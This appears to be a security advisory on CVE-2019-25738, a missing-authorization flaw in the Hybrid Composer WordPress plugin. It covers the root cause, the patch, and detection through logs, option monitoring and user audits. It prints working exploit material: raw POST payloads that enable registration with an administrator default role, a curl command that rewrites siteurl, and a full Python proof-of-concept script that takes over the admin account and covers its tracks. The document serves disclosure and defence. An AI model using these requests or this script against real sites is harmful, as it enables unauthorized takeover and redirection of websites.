Introduction
A single unauthenticated POST request to a WordPress site running the Hybrid Composer plugin could modify any row in the wp_options database table, letting an attacker grant themselves full administrator access without ever logging in. CVE-2019-25738 carries a CVSS score of 9.8, has had a public exploit since July 2019, and is a textbook case of CWE-306 (Missing Authentication for Critical Function) in a WordPress plugin.
Hybrid Composer is a page builder component of the WPTF (WordPress Theme Framework), developed by framework-y. It is sold as a back-end page builder with over 1000 options and 70+ components for building WordPress themes and sites from scratch. The install base is small. Sucuri estimated about 300 active installations at the time of disclosure. The plugin ships from the vendor's own website rather than the official WordPress.org repository, so standard WordPress.org scanning and update mechanisms do not apply to it. Any site running version 1.4.6 or earlier is open to remote compromise.
Technical Information
Root Cause
The vulnerability is in the hc_ajax_save_option function, which the plugin registers as a WordPress AJAX handler using the wp_ajax_nopriv_ hook prefix. In WordPress, AJAX actions registered with wp_ajax_nopriv_ are available to unauthenticated visitors by design. The vulnerable code, as documented by Sucuri's analysis, is:
function hc_ajax_save_option() { echo update_option($_POST['option_name'], $_POST['content']); die(); } add_action('wp_ajax_nopriv_hc_ajax_save_option', 'hc_ajax_save_option');
Several flaws combine here:
- The
wp_ajax_nopriv_prefix means the AJAX action fires for users who are not logged in. Any visitor on the internet can invoke it. - The function passes unsanitized
$_POSTparameters (option_nameandcontent) straight to WordPress'supdate_option()function, which can modify any value in thewp_optionsdatabase table. - There is no
current_user_can()capability check to verify the caller has administrative privileges. - There is no
wp_verify_nonce()call to validate a CSRF token. - There is no input sanitization or validation on either parameter.
WordPress's update_option() is a powerful core function. It can change the site URL, admin email, default user role, active plugins list, and essentially any configuration value in the options table. Exposing it to unauthenticated callers with no guards gives every internet user write access to the site's configuration database.
Attack Flow
The exploitation path is simple and needs no special tools or authentication.
Step 1: Enable user registration. The attacker sends a POST request to the target's admin-ajax.php endpoint:
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=hc_ajax_save_option&option_name=users_can_register&content=1
This sets the WordPress option users_can_register to 1, which enables the public registration form.
Step 2: Set the default role to administrator. A second POST request changes the default role assigned to newly registered users:
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=hc_ajax_save_option&option_name=default_role&content=administrator
Step 3: Register a new administrator account. The attacker goes to the standard WordPress registration page at /wp-login.php?action=register and creates an account. Because the default role is now administrator, that account gets full administrative privileges.
Step 4: Cover tracks. The attacker reverts both options to their original values (users_can_register=0, default_role=subscriber) to reduce the evidence left behind.
Account takeover is not the only option. An attacker can also modify the siteurl and home options to redirect the whole WordPress installation to a server they control, which supports phishing and malware distribution. A single cURL command shows this:
curl -X POST -d "option_name=siteurl&content=https://www.google.com" 'https://DOMAIN.COM/wp-admin/admin-ajax.php?action=hc_ajax_save_option'
The documented exploitation scenarios:
| Attack Scenario | Options Modified | Impact |
|---|---|---|
| Administrator account creation | users_can_register = 1, default_role = administrator | Full site takeover via new admin account |
| Site URL hijacking | siteurl and home = attacker URL | Traffic redirect, phishing, malware delivery |
| Persistent JavaScript injection | Options containing stored output | Cross site scripting across the site |
| Security setting manipulation | Various security related options | Weakening of site defenses |
Proof of Concept
A complete, EDB-Verified Python 2 proof of concept exploit (EDB-ID 47154) by yasin (vulnerability discovered by rootetsy) has been public on Exploit-DB since July 24, 2019. It chains several unauthenticated option changes to take over an administrator account:
- Enable user registration by setting
users_can_registerto1. - Set the
default_roletoadministrator. - Register a new admin level user through the WordPress registration form.
- Revert settings (
users_can_register=0,default_role=subscriber) to cover tracks.
import httplib, urllib import sys import random site = raw_input("[+] Target: ") url = "/wp-admin/admin-ajax.php" username = "user-%d" % random.randrange(1000000, 3000000) email = raw_input("[+] E-mail: ") def ChangeOption(site, url, option_name, content): params = urllib.urlencode({'action': 'hc_ajax_save_option', 'option_name': option_name, 'content': content}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPSConnection(site) conn.request("POST", url, params, headers) response = conn.getresponse() data = response.read() conn.close() registration_url= "/wp-login.php" def AdminTakeover(site, registration_url, user_login, user_email): params = urllib.urlencode({'action': 'register', 'user_login': user_login, 'user_email': user_email}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPSConnection(site) conn.request("POST", registration_url, params, headers) response = conn.getresponse() data = response.read() conn.close() ChangeOption(site, url, "users_can_register", "1") ChangeOption(site, url, "default_role", "administrator") print "[+] Registering new admin user" AdminTakeover(site, registration_url, username, email) print "[+] Check your email for password: " + username + "[" + email + "]" ChangeOption(site, url, "users_can_register", "0") ChangeOption(site, url, "default_role", "subscriber")
The core of the exploit is one unauthenticated POST request: POST /wp-admin/admin-ajax.php with body action=hc_ajax_save_option&option_name=users_can_register&content=1. No cookies, nonces, or authentication tokens are required. The randomized username (user-XXXXXXX) is a basic anti-forensics measure to make the rogue account less obvious.
Patch Information
The vulnerability was patched in version 1.4.7 of the Hybrid Composer plugin, released soon after public disclosure in July 2019.
The vulnerable code has two critical problems:
-
No authorization check: The function
hc_ajax_save_optionruns no capability check (for example,current_user_can()) before it executes. Nothing verifies that the caller has administrative privileges. -
Use of the
wp_ajax_nopriv_hook: By hookinghc_ajax_save_optionto thewp_ajax_nopriv_prefix, the developer exposed theupdate_option()function to any unauthenticated visitor on the internet.
Version 1.4.7 fixed this missing authorization flaw. As Wordfence described it, the core issue was "a missing capability check on the hc_ajax_save_option function." The remediation removed the nopriv_ hook prefix and added proper access controls, so the AJAX handler can no longer be invoked by unauthenticated users.
WPScan, Wordfence, Patchstack, and Sucuri all give the same advice: update the Hybrid Composer plugin to version 1.4.7 or later. The plugin's source is not on a public repository like GitHub, so there is no public commit diff; the fix shipped as a standard plugin update through the vendor's distribution channel.
If upgrading is not feasible, disable and remove the plugin entirely. As a temporary compensating control, a WAF rule that blocks POST requests to admin-ajax.php containing the hc_ajax_save_option action parameter can prevent exploitation.
Detection Methods
No public YARA, Sigma, or Snort/Suricata community rules have been published specifically for CVE-2019-25738. The well documented attack surface still supports several detection approaches.
Web Server Log Analysis
The most direct method is inspecting web server access logs (Apache, Nginx, or any reverse proxy). The attack shows up as unauthenticated HTTP POST requests to /wp-admin/admin-ajax.php where the body contains the parameter action=hc_ajax_save_option. This is a highly specific indicator. Legitimate WordPress AJAX traffic uses different action names, and this action should never be invoked by unauthenticated users in a secure configuration.
If your logging captures POST data, or if you have a WAF with request body logging enabled, search for the hc_ajax_save_option action value. Even without POST body logging, a sudden spike of POST requests to admin-ajax.php from unauthenticated IP addresses, especially when followed by requests to /wp-login.php?action=register, is a strong signal of this exploitation chain.
WordPress Option Change Monitoring
The documented exploit chain follows a predictable sequence: set users_can_register to 1, then set default_role to administrator. After registering a new admin account, the attacker often resets both options to cover tracks. Monitor the wp_options database table for unexpected changes to these two options. WordPress hooks like update_option_{$option} let custom monitoring code or security plugins fire alerts when users_can_register or default_role change outside normal admin activity.
User Account Auditing
Because the goal of this exploit is account takeover through a newly registered administrator, audit the WordPress user list for unfamiliar administrator accounts. The Exploit-DB PoC registers users with randomized usernames (for example, user-XXXXXXX), so new accounts with auto-generated or unfamiliar names holding the administrator role warrant immediate investigation. Reviewing the wp_users and wp_usermeta tables for recently created users whose wp_capabilities meta value is set to administrator is a reliable post-compromise check.
WAF and Plugin Level Detection
Wordfence's threat intelligence entry for this vulnerability confirms that their Web Application Firewall blocks exploitation attempts against the hc_ajax_save_option action. The specific Wordfence WAF signature is proprietary, but this shows that commercial WordPress WAF products can detect the pattern. Organizations running Wordfence, Sucuri's firewall, or similar products should keep their rulesets up to date.
Vulnerable Plugin Identification
For proactive detection, scan WordPress installations for the Hybrid Composer plugin at version 1.4.6 or earlier. Tools like WPScan can enumerate installed plugin versions. Finding the vulnerable plugin before exploitation is the simplest form of detection.
Affected Systems and Versions
All versions of the WordPress Hybrid Composer plugin up to and including 1.4.6 are affected. The vulnerability was patched in version 1.4.7.
The plugin is part of the WPTF (WordPress Theme Framework) distributed by framework-y through their own website at wordpress.framework-y.com. It is not listed on the official WordPress.org plugin repository. At the time of disclosure, Sucuri estimated about 300 active installations.
Any WordPress installation running Hybrid Composer 1.4.6 or earlier with the plugin activated is vulnerable. The attack needs only network access to the WordPress admin-ajax.php endpoint, which is accessible by default on all WordPress installations.
Vendor Security History
The WPScan vulnerability database lists only one vulnerability for the Hybrid Composer plugin: CVE-2019-25738. The developer responded positively when the WPScan researcher contacted them and released a patch in coordination with the disclosure.
The vulnerability itself reflects a gap in secure development practice. Using wp_ajax_nopriv_ for a function that calls update_option() with unsanitized user input means authentication, authorization, and input validation were not considered when the AJAX handler was implemented. The absence of nonce verification suggests CSRF protection was overlooked too.
There is a long gap between the original discovery (July 2019) and the NVD publication date (June 2026), which raises concerns about CVE assignment bottlenecks for niche WordPress plugins. A delay like this can leave organizations unaware of vulnerabilities for a long time, particularly if they rely on NVD alone for vulnerability intelligence.
Patchstack assessed the vulnerability as "Low priority" with "No impactful threat" at the time, likely because of the small install base. In the same assessment, they noted that "vulnerabilities like this one are used in mass-exploit campaigns." The vulnerability type is routinely weaponized regardless of how popular the specific plugin is.
References
- CVE-2019-25738 Detail (NVD)
- VulnCheck Advisory: WordPress Hybrid Composer 1.4.6 Unauthenticated Settings Change
- Exploit-DB: WordPress Plugin Hybrid Composer 1.4.6 (EDB-47154)
- CVE Feed: CVE-2019-25738
- Sucuri Blog: WPTF Hybrid Composer Unauthenticated Arbitrary Options Update
- Sucuri Labs Advisory
- WPScan Vulnerability Entry
- WPScan Plugin Page: Hybrid Composer
- Patchstack: WordPress Hybrid Composer Plugin Unauthenticated Options Update
- Wordfence Threat Intel: Hybrid Composer 1.4.6 Missing Authorization
- Wordfence Blog: Rich Reviews Plugin Vulnerability Exploited In The Wild
- WPTF Vendor Website
- Hybrid Composer Product Page



